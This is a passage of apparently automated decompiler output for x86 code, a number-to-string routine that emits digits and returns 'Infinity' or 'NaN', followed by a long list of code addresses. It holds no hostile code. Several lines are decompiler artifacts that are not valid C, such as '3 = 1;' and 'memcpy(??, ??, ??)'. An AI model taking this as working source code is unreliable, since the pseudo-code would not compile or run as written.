														__eax = __esp[0x13];
														__eflags = __esp[0x2c] - 2;
														__edx = __edx & 0xffffff00 | __esp[0x2c] - 0x00000002 > 0x00000000;
														__eflags = __esp[0x13];
														if(__esp[0x13] != 0) {
															__esp[1] = __edi;
															 *__esp = __ebx;
															__esp[4] = __dl;
															__eax = L00403340();
															__edx = __esp[4] & 0x000000ff;
															__eflags = __eax;
															if(__eax >= 0) {
																goto L90;
															} else {
																__eax = __esp[0x11];
																 *__esp = __ebx;
																__esp[2] = 0;
																__esp[1] = 0xa;
																__eax = __esp[0x11] - 1;
																__esp[7] = __esp[0x11] - 1;
																__eax = E00402E20();
																__edx = __esp[4] & 0x000000ff;
																__ebx = __eax;
																__eax = __esp[0x15];
																__eflags = __eax;
																__edx = __esp[4] & 0x000000ff & __eax;
																__eax = __esp[0xf];
																__eflags = __esp[0xf];
																if(__esp[0xf] != 0) {
																	 *__esp = __ebp;
																	__esp[2] = 0;
																	__esp[1] = 0xa;
																	__esp[4] = __dl;
																	__eax = E00402E20();
																	__edx = __esp[4] & 0x000000ff;
																	__ebp = __eax;
																	__eflags = __dl;
																	if(__dl != 0) {
																		goto L261;
																	} else {
																		__eax = __esp[0x11];
																		__esp[0xe] = __esp[0x11];
																		__eax = __esp[0x15];
																		__esp[7] = __esp[0x15];
																		goto L138;
																	}
																} else {
																	__eflags = __dl;
																	if(__dl != 0) {
																		L261:
																		__eax = __esp[7];
																		__esp[0x11] = __esp[7];
																		__eax = __esp[0x15];
																		__esp[7] = __esp[0x15];
																		goto L92;
																	} else {
																		__eax = __esp[0x11];
																		__esp[0xe] = __esp[0x11];
																		__eax = __esp[0x15];
																		__esp[7] = __esp[0x15];
																		goto L173;
																	}
																}
															}
														} else {
															L90:
															__ecx = __esp[7];
															__eflags = __esp[7];
															if(__esp[7] > 0) {
																L137:
																__esp[0x11] = __esp[0x11] + 1;
																__esp[0xe] = __esp[0x11] + 1;
																__eax = __esp[0xf];
																__eflags = __esp[0xf];
																if(__esp[0xf] == 0) {
																	L173:
																	__esp[0xc] = __ebp;
																	__esi = __esp[0xd];
																	__ebp = __ebx;
																	__esp[0x1f] = 1;
																	__ebx = __esp[7];
																	while(1) {
																		__esp[1] = __edi;
																		__esi = __esi + 1;
																		 *__esp = __ebp;
																		__eax = E004002D0();
																		__eax = __eax + 0x30;
																		 *(__esi - 1) = __al;
																		__eflags = __esp[0x1f] - __ebx;
																		if(__esp[0x1f] >= __ebx) {
																			break;
																		}
																		__eax = E00402E20(__ebp, 0xa, 0);
																		_t400 =  &(__esp[0x1f]);
																		 *_t400 = __esp[0x1f] + 1;
																		__eflags =  *_t400;
																		__ebp = __eax;
																	}
																	__esp[4] = __eax;
																	__ebx = __ebp;
																	__ebp = __esp[0xc];
																	__esp[7] = 0;
																	goto L177;
																} else {
																	L138:
																	__esi = __esi + __esp[8];
																	__eflags = __esi;
																	if(__esi > 0) {
																		 *__esp = __ebp;
																		__esp[1] = __esi;
																		__ebp = E00403230();
																	}
																	__eax = __esp[0x12];
																	__esp[0x10] = __ebp;
																	__eflags = __esp[0x12];
																	if(__esp[0x12] != 0) {
																		__eax =  *(__ebp + 4);
																		__eax = E00402CD0( *(__ebp + 4));
																		_t546 = __eax + 0xc; // 0xc
																		__ecx = _t546;
																		__esi = __eax;
																		__eax =  *(__ebp + 0x10);
																		 *__esp = _t546;
																		__edx = 8 +  *(__ebp + 0x10) * 4;
																		_t550 = __ebp + 0xc; // 0xc
																		__eax = _t550;
																		__esp[2] = 8 +  *(__ebp + 0x10) * 4;
																		__esp[1] = _t550;
																		__eax = memcpy(??, ??, ??);
																		__esp[1] = 1;
																		 *__esp = __esi;
																		__esp[0x10] = E00403230();
																	}
																	__eax = __esp[0xd];
																	__esp[0xc] = __edi;
																	__esp[0x1f] = 1;
																	__edi = __esp[0x10];
																	__esp[8] = __esp[0xd];
																	while(1) {
																		__eax = __esp[0xc];
																		 *__esp = __ebx;
																		__esp[1] = __esp[0xc];
																		__eax = E004002D0();
																		__esp[1] = __ebp;
																		 *__esp = __ebx;
																		_t336 = __eax + 0x30; // 0x30
																		__edx = _t336;
																		__esp[4] = _t336;
																		__esp[0xf] = __eax;
																		__eax = L00403340();
																		__esp[1] = __edi;
																		__esi = __eax;
																		__eax = __esp[0xc];
																		 *__esp = __esp[0xc];
																		__eax = L00403390();
																		__edx = __eax;
																		__eax =  *(__eax + 0xc);
																		__eflags = __eax;
																		if(__eax != 0) {
																			goto L142;
																		}
																		__esp[1] = __edx;
																		 *__esp = __ebx;
																		__esp[0x11] = __edx;
																		__eax = L00403340();
																		__edx = __esp[0x11];
																		__esp[0x10] = __eax;
																		__eax = E00402DC0(__esp[0x11]);
																		__eax = __esp[0x10];
																		__ecx = __eax;
																		__ecx = __eax | __esp[0x2c];
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__ecx = __eax;
																			goto L143;
																		} else {
																			__eax = __esp[0x2a];
																			__eax =  *(__esp[0x2a]);
																			__esp[0x10] = __eax;
																			__eax = __eax & 0x00000001;
																			__eax = __eax | __esp[0xa];
																			__eflags = __eax;
																			if(__eax != 0) {
																				L143:
																				__eflags = __esi;
																				if(__esi < 0) {
																					L232:
																					__eax = __esp[8];
																					__esp[0x10] = __edi;
																					__edi = __esp[0xc];
																					__edx = __esp[8] + 1;
																					__eax = __esp[0xa];
																					__esi = __edx;
																					__eflags = __esp[0xa];
																					if(__esp[0xa] == 0) {
																						__eflags = __ecx;
																						if(__ecx <= 0) {
																							goto L258;
																						} else {
																							goto L255;
																						}
																					} else {
																						__eflags =  *(__ebx + 0x10) - 1;
																						if( *(__ebx + 0x10) <= 1) {
																							__eax =  *(__ebx + 0x14);
																							__eflags =  *(__ebx + 0x14);
																							if( *(__ebx + 0x14) != 0) {
																								goto L234;
																							} else {
																								__eflags = __ecx;
																								if(__ecx > 0) {
																									L255:
																									 *__esp = __ebx;
																									__esp[1] = 1;
																									__eax = E00403230();
																									__esp[1] = __edi;
																									 *__esp = __eax;
																									__ebx = __eax;
																									__eflags = L00403340();
																									if(__eflags <= 0) {
																										if(__eflags != 0) {
																											L290:
																											__esp[0xa] = 0x20;
																											goto L258;
																										} else {
																											__eflags = __esp[4] & 0x00000001;
																											if((__esp[4] & 0x00000001) != 0) {
																												goto L256;
																											} else {
																												goto L290;
																											}
																										}
																									} else {
																										L256:
																										__eflags = __esp[4] - 0x39;
																										if(__esp[4] == 0x39) {
																											goto L260;
																										} else {
																											__eax = __esp[0xf];
																											__esp[0xa] = 0x20;
																											__eax = __esp[0xf] + 0x31;
																											__eflags = __eax;
																											__esp[4] = __eax;
																											L258:
																											__eflags =  *(__ebx + 0x10) - 1;
																											if( *(__ebx + 0x10) <= 1) {
																												__ecx =  *(__ebx + 0x14);
																												__esp[7] = __ebp;
																												__ebp = __esp[0x10];
																												__eflags =  *(__ebx + 0x14);
																												if( *(__ebx + 0x14) == 0) {
																													__ecx = __esp[0xa];
																												} else {
																													__ecx = 0x10;
																												}
																											} else {
																												goto L259;
																											}
																											goto L240;
																										}
																									}
																								} else {
																									__esp[7] = __ebp;
																									__ecx = 0;
																									__ebp = __esp[0x10];
																									goto L240;
																								}
																							}
																						} else {
																							L234:
																							__eflags = __esp[0xa] - 2;
																							if(__esp[0xa] == 2) {
																								L259:
																								__esp[7] = __ebp;
																								__ecx = 0x10;
																								__ebp = __esp[0x10];
																								goto L240;
																							} else {
																								__esi = __ebx;
																								__esp[7] = __edi;
																								__ebx = __edx;
																								__edi = __esp[0x10];
																								while(1) {
																									__eax = __esp[7];
																									__eax = L00403340(__esp[7], __edi);
																									__ecx = __ebx;
																									__eflags = __eax;
																									if(__eax <= 0) {
																										break;
																									}
																									__eax = __esp[4] & 0x000000ff;
																									 *(__ebx - 1) = __al;
																									__eax = E00402E20(__edi, 0xa, 0);
																									 *__esp = __esi;
																									__eflags = __ebp - __edi;
																									__esp[2] = 0;
																									__ebp =  ==  ? __eax : __ebp;
																									__esp[1] = 0xa;
																									__esp[0xc] = __eax;
																									__esi = E00402E20();
																									__eax = __esp[7];
																									 *__esp = __esi;
																									__esp[1] = __esp[7];
																									__eax = E004002D0();
																									__ecx = __esp[0xc];
																									__esp[8] = __ebx;
																									__ebx = __ebx + 1;
																									__eax = __eax + 0x30;
																									__eflags = __eax;
																									__esp[4] = __eax;
																									__edi = __esp[0xc];
																								}
																								__eax = __esp[4];
																								__ebx = __esi;
																								__edx = __edi;
																								__esp[0x10] = __edi;
																								__esi = __ecx;
																								__edi = __esp[7];
																								__eflags = __eax - 0x39;
																								if(__eax == 0x39) {
																									goto L260;
																								} else {
																									__eax = __eax + 1;
																									__eflags = __eax;
																									__esp[7] = __ebp;
																									__ecx = 0x20;
																									__ebp = __edx;
																									__esp[4] = __eax;
																									L240:
																									__edx = __esp[8];
																									__eax = __esp[4] & 0x000000ff;
																									 *(__esp[8]) = __al;
																								}
																							}
																						}
																					}
																				} else {
																					__esi = __esi | __esp[0x2c];
																					__eflags = __esi;
																					if(__esi != 0) {
																						L146:
																						__eax = __esp[8];
																						__esi = __esp[8] + 1;
																						__eflags = __ecx;
																						if(__ecx <= 0) {
																							L148:
																							__eax = __esp[4] & 0x000000ff;
																							 *(__esi - 1) = __al;
																							__eax = __esp[7];
																							__eflags = __esp[0x1f] - __esp[7];
																							if(__esp[0x1f] == __esp[7]) {
																								__eax = __edi;
																								__esp[7] = __ebp;
																								__edi = __esp[0xc];
																								__ebp = __eax;
																								L177:
																								__ecx = __esp[0xa];
																								__eflags = __ecx;
																								if(__ecx == 0) {
																									 *__esp = __ebx;
																									__esp[1] = 1;
																									__eax = E00403230();
																									__esp[1] = __edi;
																									 *__esp = __eax;
																									__ebx = __eax;
																									__eflags = L00403340();
																									__eax =  *(__esi - 1) & 0x000000ff;
																									if(__eflags > 0) {
																										goto L199;
																									} else {
																										if(__eflags != 0) {
																											L213:
																											__edx =  *(__ebx + 0x10);
																											goto L214;
																										} else {
																											__eflags = __esp[4] & 0x00000001;
																											if((__esp[4] & 0x00000001) != 0) {
																												goto L199;
																											} else {
																												goto L213;
																											}
																										}
																									}
																								} else {
																									__edx =  *(__ebx + 0x10);
																									__eax =  *(__esi - 1) & 0x000000ff;
																									__eflags = __ecx - 2;
																									if(__ecx == 2) {
																										L214:
																										__ecx = 0x10;
																										__eflags = __edx - 1;
																										if(__edx <= 1) {
																											__eflags =  *(__ebx + 0x14) - 1;
																											asm("sbb ecx, ecx");
																											__ecx =  !0x10;
																											__ecx = 0;
																										}
																										goto L183;
																									} else {
																										__eflags = __edx - 1;
																										if(__edx > 1) {
																											L199:
																											__edx = __esp[0xd];
																											goto L202;
																										} else {
																											__edx =  *(__ebx + 0x14);
																											__eflags =  *(__ebx + 0x14);
																											if( *(__ebx + 0x14) != 0) {
																												goto L199;
																											} else {
																												__ecx = 0;
																												while(1) {
																													L183:
																													__edx = __esi - 1;
																													__eflags = __al - 0x30;
																													if(__al != 0x30) {
																														break;
																													}
																													__eax =  *(__esi - 2) & 0x000000ff;
																													__esi = __edx;
																												}
																											}
																										}
																									}
																								}
																							} else {
																								__eax = E00402E20(__ebx, 0xa, 0);
																								__esp[2] = 0;
																								__ebx = __eax;
																								__esp[1] = 0xa;
																								 *__esp = __ebp;
																								__eflags = __ebp - __edi;
																								if(__ebp == __edi) {
																									__eax = E00402E20();
																									__ebp = __eax;
																									__edi = __eax;
																								} else {
																									__eax = E00402E20();
																									 *__esp = __edi;
																									__esp[2] = 0;
																									__ebp = __eax;
																									__esp[1] = 0xa;
																									__edi = E00402E20();
																								}
																								_t330 =  &(__esp[0x1f]);
																								 *_t330 = __esp[0x1f] + 1;
																								__eflags =  *_t330;
																								__esp[8] = __esi;
																								continue;
																							}
																						} else {
																							__eflags = __esp[0xa] - 2;
																							if(__esp[0xa] != 2) {
																								__eflags = __esp[4] - 0x39;
																								__esp[0x10] = __edi;
																								__edi = __esp[0xc];
																								if(__esp[4] == 0x39) {
																									goto L260;
																								} else {
																									__eax = __esp[4] & 0x000000ff;
																									__ecx = __esp[8];
																									__esp[7] = __ebp;
																									__ebp = __esp[0x10];
																									__eax = (__esp[4] & 0x000000ff) + 1;
																									 *(__esp[8]) = __al;
																									__ecx = 0x20;
																								}
																							} else {
																								goto L148;
																							}
																						}
																					} else {
																						__eax = __esp[0x2a];
																						__eflags =  *__eax & 0x00000001;
																						if(( *__eax & 0x00000001) == 0) {
																							goto L232;
																						} else {
																							goto L146;
																						}
																					}
																				}
																			} else {
																				__eax = __esp[8];
																				__eflags = __esp[4] - 0x39;
																				__esp[0x10] = __edi;
																				__edx = __esi;
																				__edi = __esp[0xc];
																				__esi = __esp[8] + 1;
																				if(__esp[4] == 0x39) {
																					L260:
																					__eax = __esp[8];
																					__edx = __esp[0xd];
																					__esp[7] = __ebp;
																					__ebp = __esp[0x10];
																					 *(__esp[8]) = 0x39;
																					__eax = 0x39;
																					while(1) {
																						L202:
																						__ecx = __esi - 1;
																						__eflags = __al - 0x39;
																						if(__al != 0x39) {
																							break;
																						}
																						__eflags = __ecx - __edx;
																						if(__ecx == __edx) {
																							__eax = __esp[0xd];
																							__esp[0xe] = __esp[0xe] + 1;
																							__ecx = 0x20;
																							 *(__esp[0xd]) = 0x31;
																						} else {
																							__eax =  *(__ecx - 1) & 0x000000ff;
																							__esi = __ecx;
																							continue;
																						}
																						goto L159;
																					}
																					__eax = __eax + 1;
																					 *__ecx = __al;
																					__ecx = 0x20;
																				} else {
																					__eflags = __edx;
																					if(__edx <= 0) {
																						__eflags =  *(__ebx + 0x10) - 1;
																						if( *(__ebx + 0x10) <= 1) {
																							__eflags =  *(__ebx + 0x14);
																							__eax = 0x10;
																							__ecx =  !=  ? 0x10 : __ecx;
																						} else {
																							__ecx = 0x10;
																						}
																					} else {
																						__eax = __esp[0xf];
																						__ecx = 0x20;
																						__eax = __esp[0xf] + 0x31;
																						__eflags = __eax;
																						__esp[4] = __eax;
																					}
																					__edx = __esp[8];
																					__eax = __esp[4] & 0x000000ff;
																					__esp[7] = __ebp;
																					__ebp = __esp[0x10];
																					 *(__esp[8]) = __al;
																				}
																			}
																		}
																		goto L159;
																		L142:
																		__eax = E00402DC0(__edx);
																		__ecx = 1;
																		goto L143;
																	}
																}
																L159:
																 *__esp = __edi;
																__esp[4] = __ecx;
																__eax = E00402DC0();
																__eflags = __ebp;
																__ecx = __esp[4];
																if(__ebp == 0) {
																	__eax = __esp[0xd];
																	__esp[0xd] = __esi;
																} else {
																	__eax = __esp[7];
																	__eflags = __eax;
																	if(__eax == 0) {
																		L262:
																		__eax = __esp[0xd];
																		__esp[0xd] = __esi;
																		goto L97;
																	} else {
																		__eflags = __eax - __ebp;
																		if(__eax == __ebp) {
																			goto L262;
																		} else {
																			__eax = E00402DC0(__eax);
																			__eax = __esp[0xd];
																			__ecx = __esp[4];
																			__esp[0xd] = __esi;
																			goto L97;
																		}
																	}
																	goto L301;
																}
															} else {
																__eflags = __dl;
																if(__dl == 0) {
																	goto L137;
																} else {
																	L92:
																	__eax = __esp[7];
																	__eflags = __esp[7];
																	if(__esp[7] != 0) {
																		goto L133;
																	} else {
																		__eax = E00402E20(__edi, 5, 0);
																		 *__esp = __ebx;
																		__esp[1] = __eax;
																		__edi = __eax;
																		__eax = L00403340();
																		__eflags = __eax;
																		if(__eax <= 0) {
																			goto L133;
																		} else {
																			__eax = __esp[0x11];
																			__eax = __esp[0x11] + 2;
																			__eflags = __eax;
																			__esp[0xe] = __eax;
																			__eax = __esp[0xd];
																			goto L95;
																		}
																	}
																	goto L96;
																}
															}
														}
														goto L98;
													}
													goto L301;
												} else {
													__edi = __esp[0x28];
													__eax = __esp[0x11];
													__eflags =  *((intOrPtr*)(__edi + 0x14)) - __eax;
													if( *((intOrPtr*)(__edi + 0x14)) < __eax) {
														goto L129;
													} else {
														__ecx = __esp[0x2d];
														__fp0 =  *(0x4cdd80 + __eax * 8);
														__eflags = __esp[0x2d];
														if(__esp[0x2d] >= 0) {
															L190:
															__fp0 = __esp[8];
															__esi = __esp[0x11];
															__esp[0x1f] = 1;
															asm("fnstcw word [esp+0x6e]");
															__edi = __esp[0xd];
															__esi = __esp[0x11] + 1;
															__fp0 = st0;
															__eax = __esp[0x1b] & 0x0000ffff;
															__ecx = __edi + 1;
															__esp[0xe] = __esi;
															__fp0 = st0 / st2;
															__eflags = __ah;
															__esp[0x1b] = __ax;
															asm("fldcw word [esp+0x6c]");
															asm("fistp dword [esp+0x68]");
															asm("fldcw word [esp+0x6e]");
															__eax = __esp[0x1a];
															__esp[4] = __eax;
															asm("fild dword [esp+0x10]");
															__edx = __eax + 0x30;
															 *__edi = __dl;
															__fp0 = st0 / st2 * st2;
															asm("fsubp st1, st0");
															asm("fldz");
															asm("fxch st0, st1");
															asm("fucomi st0, st1");
															st1 = __fp0;
															if(__eflags != 0) {
																if(__eflags == 0) {
																	st0 = __fp0;
																	st0 = __fp0;
																	goto L198;
																} else {
																	goto L191;
																}
															} else {
																L191:
																__edx = __esp[0x1f];
																__edi = __esp[7];
																__eflags = __edx - __esp[7];
																if(__edx != __esp[7]) {
																	while(1) {
																		__fp0 = __fp0 *  *0x4cdd24;
																		__edx = __edx + 1;
																		__ecx = __ecx + 1;
																		__eflags = __ecx;
																		__esp[0x1f] = __edx;
																		st0 = st0 / st2;
																		asm("fldcw word [esp+0x6c]");
																		asm("fistp dword [esp+0x68]");
																		asm("fldcw word [esp+0x6e]");
																		__eax = __esp[0x1a];
																		__esp[4] = __eax;
																		asm("fild dword [esp+0x10]");
																		__edx = __eax + 0x30;
																		 *(__ecx - 1) = __dl;
																		__fp0 = st0 / st2 * st2;
																		asm("fsubp st1, st0");
																		asm("fldz");
																		asm("fxch st0, st1");
																		asm("fucomi st0, st1");
																		st1 = __fp0;
																		if(__eflags == 0 && __eflags == 0) {
																			break;
																		}
																		__edx = __esp[0x1f];
																		__eflags = __edx - __edi;
																		if(__edx == __edi) {
																			goto L216;
																		} else {
																			continue;
																		}
																		goto L98;
																	}
																	st0 = __fp0;
																	st0 = __fp0;
																	L198:
																	__eax = __esp[0xd];
																	__esp[0xd] = __ecx;
																	__ecx = 0;
																} else {
																	L216:
																	__edi = __esp[0xa];
																	__eflags = __edi;
																	if(__eflags == 0) {
																		__fp0 = __fp0 + st0;
																		__edx =  *(__ecx - 1) & 0x000000ff;
																		asm("fcomi st0, st1");
																		if(__eflags > 0) {
																			st0 = __fp0;
																			st0 = __fp0;
																			__eax = __esp[0xd];
																			__esi = __ecx;
																			goto L264;
																		} else {
																			asm("fucomip st0, st1");
																			st0 = __fp0;
																			if(__eflags != 0 || __eflags != 0) {
																				__edx = __ecx;
																				__eax = __esp[0xd];
																				__ecx = 0x10;
																				goto L230;
																			} else {
																				__eflags = __al & 0x00000001;
																				__eax = __esp[0xd];
																				if((__al & 0x00000001) != 0) {
																					goto L267;
																				} else {
																					__edx = __ecx;
																					__ecx = 0x10;
																					while(1) {
																						L230:
																						__eflags =  *(__edx - 1) - 0x30;
																						_t499 = __edx - 1; // 0x2f
																						__edi = _t499;
																						if( *(__edx - 1) != 0x30) {
																							break;
																						}
																						__edx = __edi;
																					}
																					__esp[0xd] = __edx;
																					__esp[0xe] = __esi;
																				}
																			}
																		}
																	} else {
																		st0 = __fp0;
																		st0 = __fp0;
																		__eflags = __edi - 1;
																		if(__edi == 1) {
																			__edx =  *(__ecx - 1) & 0x000000ff;
																			__eax = __esp[0xd];
																			__esi = __ecx;
																			L264:
																			__ecx = __esi - 1;
																			__eflags = __dl - 0x39;
																			if(__dl != 0x39) {
																				__esp[0xd] = __esi;
																				__eflags = __edx;
																			} else {
																				__eflags = __ecx - __eax;
																				if(__ecx == __eax) {
																					__esp[0xd] = __esi;
																					__ecx = __eax;
																					__edx = 0x31;
																					 *__eax = 0x30;
																					__esp[0xe] = __esp[0xe] + 1;
																				} else {
																					__edx =  *(__ecx - 1) & 0x000000ff;
																					L267:
																					__esi = __ecx;
																					goto L264;
																				}
																			}
																			 *__ecx = __dl;
																			__ecx = 0x20;
																		} else {
																			__eax = __esp[0xd];
																			__esp[0xd] = __ecx;
																			L60:
																			__ecx = 0x10;
																		}
																	}
																}
															}
														} else {
															__edi = __esp[7];
															__eflags = __edi;
															if(__eflags > 0) {
																goto L190;
															} else {
																if(__eflags != 0) {
																	st0 = __fp0;
																	goto L132;
																} else {
																	__fp0 = __esp[8];
																	asm("fxch st0, st1");
																	asm("fcomip st0, st1");
																	st0 = __esp[8];
																	if(__eflags >= 0) {
																		L132:
																		__edi = 0;
																		__ebp = 0;
																		__eflags = 0;
																		L133:
																		__eax = __esp[0x2d];
																		__ecx = 0x10;
																		__eax =  ~(__esp[0x2d]);
																		__esp[0xe] =  ~(__esp[0x2d]);
																		__eax = __esp[0xd];
																		goto L96;
																	} else {
																		__eax = __eax + 2;
																		__ebp = 0;
																		__esp[0xe] = __eax;
																		__eax = __esp[0xd];
																		L95:
																		_t232 =  &(__esp[0xd]);
																		 *_t232 = __esp[0xd] + 1;
																		__eflags =  *_t232;
																		__ecx = 0x20;
																		 *__eax = 0x31;
																		L96:
																		 *__esp = __edi;
																		__esp[7] = __eax;
																		__esp[4] = __ecx;
																		__eax = E00402DC0();
																		__eflags = __ebp;
																		__ecx = __esp[4];
																		__eax = __esp[7];
																		if(__ebp != 0) {
																			L97:
																			 *__esp = __ebp;
																			__esp[7] = __eax;
																			__esp[4] = __ecx;
																			__eax = E00402DC0();
																			__ecx = __esp[4];
																			__eax = __esp[7];
																		}
																		goto L98;
																	}
																}
																goto L301;
															}
														}
													}
												}
											} else {
												3 = 1;
												__eflags = 3;
												__esp[0xa] = 1;
												goto L42;
											}
										}
									}
								}
							}
						}
						L98:
						 *__esp = __ebx;
						__esp[7] = __eax;
						__esp[4] = __ecx;
						__eax = E00402DC0();
						__ecx = __esp[0x2f];
						__eax = __esp[0x2e];
						__ebx = __esp[0xd];
						__edi = __esp[0xe];
						__eflags = __esp[0x2f];
						__ecx = __esp[4];
						 *__ebx = 0;
						 *(__esp[0x2e]) = __esp[0xe];
						__eax = __esp[7];
						if(__esp[0x2f] != 0) {
							__edi = __esp[0x2f];
							 *(__esp[0x2f]) = __ebx;
						}
						__ebx = __esp[0x2b];
						 *__ebx =  *__ebx | __ecx;
						__eflags =  *__ebx;
						return __eax;
						goto L301;
						L11:
						__ecx =  *__eax;
						__esi = __esi + 4;
						__eax = __eax + 4;
						 *(__esi - 4) = __ecx;
						__eflags = __edx - __eax;
						if(__edx >= __eax) {
							goto L11;
						} else {
							__ecx = __esp[4];
							__esi = __esi - __esp[4];
							__eax = __esi;
							__eax = __esi >> 2;
						}
						goto L14;
					case 2:
						__eax = __esp[0x2e];
						 *(__esp[0x2e]) = 0xffff8000;
						__eax = __esp[0x2f];
						return E00400230("Infinity", __esp[0x2f], 8);
						goto L301;
					case 3:
						__eax = __esp[0x2e];
						 *(__esp[0x2e]) = 0xffff8000;
						__eax = __esp[0x2f];
						return E00400230("NaN", __esp[0x2f], 3);
				}
			}

0x00400508
0x0040050f
0x00400513
0x00400519
0x00000000
0x00401c5f
0x0040051f
0x00000000
0x00400538
0x0040053f
0x0040054c
0x00400554
0x00400558
0x00000000
0x00000000
0x004005f0
0x004005f7
0x004005f9
0x004005fb
0x004005fe
0x00400600
0x00400605
0x00400605
0x00400607
0x0040060a
0x0040060a
0x00400605
0x00400611
0x00400616
0x0040061d
0x0040061f
0x00400622
0x00400622
0x00400625
0x00400628
0x0040062c
0x0040062f
0x00400636
0x00400636
0x0040066a
0x0040066a
0x0040066a
0x0040066a
0x0040066d
0x00400671
0x00400673
0x00400675
0x0040067a
0x0040067d
0x00400680
0x00400685
0x00400685
0x00400685
0x00400685
0x00400660
0x00400662
0x00400664
0x004007b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00400664
0x0040068a
0x0040068f
0x00400696
0x0040069a
0x0040069e
0x004006a0
0x004007c7
0x004007cc
0x004007d7
0x004007d9
0x004007db
0x004007db
0x004006a6
0x004006a9
0x004006ab
0x00400530
0x00400533
0x00000000
0x004006b1
0x004006bc
0x004006c1
0x004006c5
0x004006c9
0x004006cd
0x004006d1
0x004006d3
0x004006d9
0x004006dd
0x004006e2
0x004006e8
0x004006ec
0x004006ef
0x004006f3
0x004006f7
0x004006fb
0x004006fd
0x00400703
0x00400707
0x00400710
0x00400716
0x0040071b
0x0040071f
0x00400725
0x00400727
0x00400729
0x0040072b
0x0040072f
0x00400733
0x00400739
0x00400739
0x00400729
0x0040073b
0x0040073f
0x00400744
0x00400744
0x00400747
0x0040074c
0x00400750
0x00400754
0x00400758
0x0040075a
0x0040075c
0x00400e50
0x00400e54
0x00400e56
0x00400e58
0x00400e60
0x00400e60
0x00400762
0x00400762
0x00400762
0x00400766
0x00400769
0x0040076b
0x0040076f
0x00400771
0x00400773
0x00400773
0x00400776
0x0040077a
0x0040077e
0x00400781
0x004007e4
0x00000000
0x00400783
0x00400783
0x0040078a
0x0040078e
0x00400792
0x00400794
0x00400796
0x00400798
0x00400ab0
0x00400ab4
0x00400abc
0x00400ac4
0x00400ac6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040079e
0x0040079e
0x004007a1
0x004007a9
0x004007ec
0x004007ec
0x004007f0
0x004007f8
0x004007fa
0x00400e30
0x00400e30
0x00400e35
0x00400e3d
0x00400e3f
0x00400e3f
0x00400800
0x00400804
0x00400806
0x00400acc
0x00400acc
0x00400ad0
0x00400ad8
0x00400adc
0x0040080c
0x0040080c
0x00400810
0x00400810
0x00400810
0x00400814
0x0040081c
0x0040081e
0x00400822
0x00400824
0x00400824
0x00400806
0x00400798
0x00400828
0x00400830
0x00400ae5
0x00000000
0x00400836
0x00400836
0x0040083e
0x00400e70
0x00400e78
0x00400844
0x00400844
0x00400848
0x0040084d
0x00400852
0x00400852
0x00400855
0x00400858
0x00400858
0x0040085c
0x00400864
0x00401460
0x00000000
0x0040086a
0x0040086a
0x00400fa0
0x00400fa8
0x00000000
0x00400fae
0x00400fae
0x00000000
0x00400fae
0x00400870
0x00400870
0x00400878
0x00400fc0
0x00400fc8
0x00400af0
0x00400af0
0x00400af4
0x00400af8
0x00400afe
0x00400b02
0x00400b06
0x00400b0a
0x00400b0e
0x00400b11
0x00400b14
0x00400b1d
0x00400b21
0x00400b28
0x00400b2b
0x00400b2f
0x00400b2f
0x00400b32
0x00400b36
0x00400e85
0x00400e8a
0x00400e92
0x00400e9a
0x00400ea2
0x00000000
0x00400b3c
0x00400b3c
0x00400b40
0x00400b42
0x004015b4
0x004015bb
0x004015bd
0x004015c8
0x004015ca
0x004015d2
0x004015d5
0x004015d8
0x004015da
0x004015e2
0x004015e6
0x004015e8
0x00000000
0x00000000
0x00000000
0x00000000
0x00400b48
0x00400b48
0x00400b4f
0x00400b53
0x00400b56
0x00401482
0x00401486
0x0040148e
0x00000000
0x00400b5c
0x00400b5c
0x00400b67
0x00400b6f
0x00000000
0x00400b6f
0x00400b56
0x00400b42
0x00400fce
0x00400fce
0x00400fd6
0x00400fd6
0x00400fda
0x00400fe1
0x00400fe5
0x00400fe8
0x00400fec
0x00400fee
0x00401470
0x00401478
0x00400ff4
0x00400ff4
0x00400ff4
0x00000000
0x00400fee
0x0040087e
0x0040087e
0x00400886
0x00400886
0x0040088d
0x00400894
0x0040089c
0x004008a3
0x004008a7
0x004008ab
0x004008af
0x004008b2
0x004008b7
0x004008bc
0x004008c0
0x004008c7
0x004008ca
0x004008ce
0x004008d1
0x004008d5
0x004008d9
0x004008dd
0x004008dd
0x004008e0
0x004008e4
0x0040090e
0x0040090e
0x00400913
0x00000000
0x00400919
0x00400919
0x0040091d
0x0040091d
0x00400921
0x00000000
0x00400927
0x00400927
0x0040092b
0x0040092f
0x00400937
0x00400939
0x00400945
0x00400947
0x00400949
0x0040094f
0x00400953
0x00400957
0x00400961
0x00400966
0x0040096a
0x0040096e
0x00400970
0x00000000
0x00400976
0x00400976
0x0040097a
0x00400982
0x00000000
0x00400982
0x0040093b
0x0040093b
0x0040093d
0x0040093f
0x004018c3
0x004018c7
0x004018c9
0x00400eb4
0x00400eb6
0x00400ebc
0x00400ec0
0x00400ec4
0x00400ecc
0x00400ece
0x00400ece
0x00400ed3
0x00400ee0
0x00400ee0
0x00400ee6
0x00400eea
0x00400eec
0x00400eee
0x00401992
0x00401994
0x00401996
0x0040199a
0x004019a2
0x004019a4
0x00000000
0x00400ef4
0x00400ef4
0x00400ef6
0x00400ef8
0x00400efa
0x00400efc
0x00000000
0x00400f02
0x00000000
0x00400f02
0x00400efc
0x004018cf
0x004018cf
0x004018d3
0x004018d5
0x00400f14
0x00000000
0x004018db
0x004018db
0x004018e1
0x004018e5
0x004018ef
0x004018f5
0x004018fb
0x004018ff
0x00401903
0x0040190d
0x00401912
0x00400986
0x00400986
0x0040098a
0x0040098e
0x00400995
0x00400999
0x0040099b
0x004016c6
0x004016ca
0x004016cc
0x004016d0
0x004016d4
0x004016d8
0x004016da
0x004016de
0x004016e3
0x004016eb
0x004016f0
0x004016f3
0x004016f5
0x0040170f
0x0040170f
0x00401713
0x00401717
0x0040171b
0x0040171f
0x00401721
0x00401723
0x00401727
0x0040172b
0x0040172d
0x0040172d
0x0040172f
0x00401732
0x00401735
0x00401738
0x0040173c
0x0040173e
0x00000000
0x00000000
0x00401700
0x00401700
0x00401703
0x00401709
0x0040170b
0x0040170b
0x00401740
0x00401742
0x00401746
0x0040174a
0x0040174c
0x0040174e
0x00401756
0x00401758
0x0040175a
0x0040175c
0x0040175e
0x00401760
0x00401aad
0x00401aaf
0x00401ab1
0x00401ab3
0x00401ab7
0x00401ab9
0x00401ab9
0x00401abc
0x00401ac0
0x00000000
0x00401766
0x00401766
0x00401768
0x0040176a
0x00400f10
